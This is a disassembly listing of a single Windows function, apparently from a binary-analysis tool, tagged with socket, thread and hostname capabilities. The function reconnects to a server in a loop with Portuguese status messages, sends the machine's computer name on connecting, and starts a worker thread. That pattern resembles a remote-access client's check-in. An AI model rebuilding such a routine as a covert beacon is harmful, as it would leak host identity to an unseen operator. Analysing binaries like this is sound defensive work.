Function at 0x140001c70
Capabilities:
Connect socket
Create thread
Get hostname
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x178
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov rbx, r9
mov rbp, r8
mov rsi, rdx
mov rdi, rcx
xor r15d, r15d
mov eax, r15d
xchg byte [r8], al
cmp dword [r9 + 8], r15d
je 0x140001cf8
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbx + 8], eax
jne 0x140001cc8
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x50], xmm0
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
je 0x140001ced
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rbx], xmm0
mov rcx, qword [rdi]
call qword [sym.imp.WS2_32.dll_closesocket]
xor r8d, r8d
mov r14d, 1
mov edx, r14d
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rdi], rax
cmp rax, 0xffffffffffffffff
jne 0x140001d81
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea rdx, str.No_foi_possvel_criar_o_socket__Err_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002210
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x1400023f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140002800
add rsp, 0x178
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov r8d, reloc.WS2_32.dll_recv
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001e2b
movabs r13, 0x7ffffffed5fa0dff
movabs r12, 0x12a05f200
movabs r15, 0x7fffffffffffffff
nop word [rax + rax]
lea rdx, str.Tentando_reconectar_ao_servidor...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002210
mov rcx, rax
lea rdx, [0x1400023f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x50]
call fcn.1400011c0
mov rax, qword [rsp + 0x50]
cmp rax, r13
jge 0x140001e02
lea rcx, [rax + r12]
mov qword [rsp + 0x30], rcx
jmp 0x140001e07
mov qword [rsp + 0x30], r15
lea rcx, [rsp + 0x30]
call fcn.1400025a0
mov r8d, reloc.WS2_32.dll_recv
mov rdx, rsi
mov rcx, qword [rdi]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140001dc0
xor r15d, r15d
lea rdx, str.Reconectado_ao_servidor_com_sucesso_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002210
mov rcx, rax
lea rdx, [0x1400023f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x40], pe_nt_image_headers64
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140001e72
inc r8d
xor r9d, r9d
lea rdx, [rsp + 0x60]
mov rcx, qword [rdi]
call qword [sym.imp.WS2_32.dll_send]
xchg byte [rbp], r14b
mov ecx, 0x18
call fcn.140002820
mov qword [rax], rbp
mov rcx, qword [rdi]
mov qword [rax + 8], rcx
lea rcx, [0x140001800]
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x140002720]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140001eff
cmp dword [rbx + 8], 0
jne 0x140001ef8
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rbx], xmm1
jmp 0x140001d5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov dword [rsp + 0x38], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3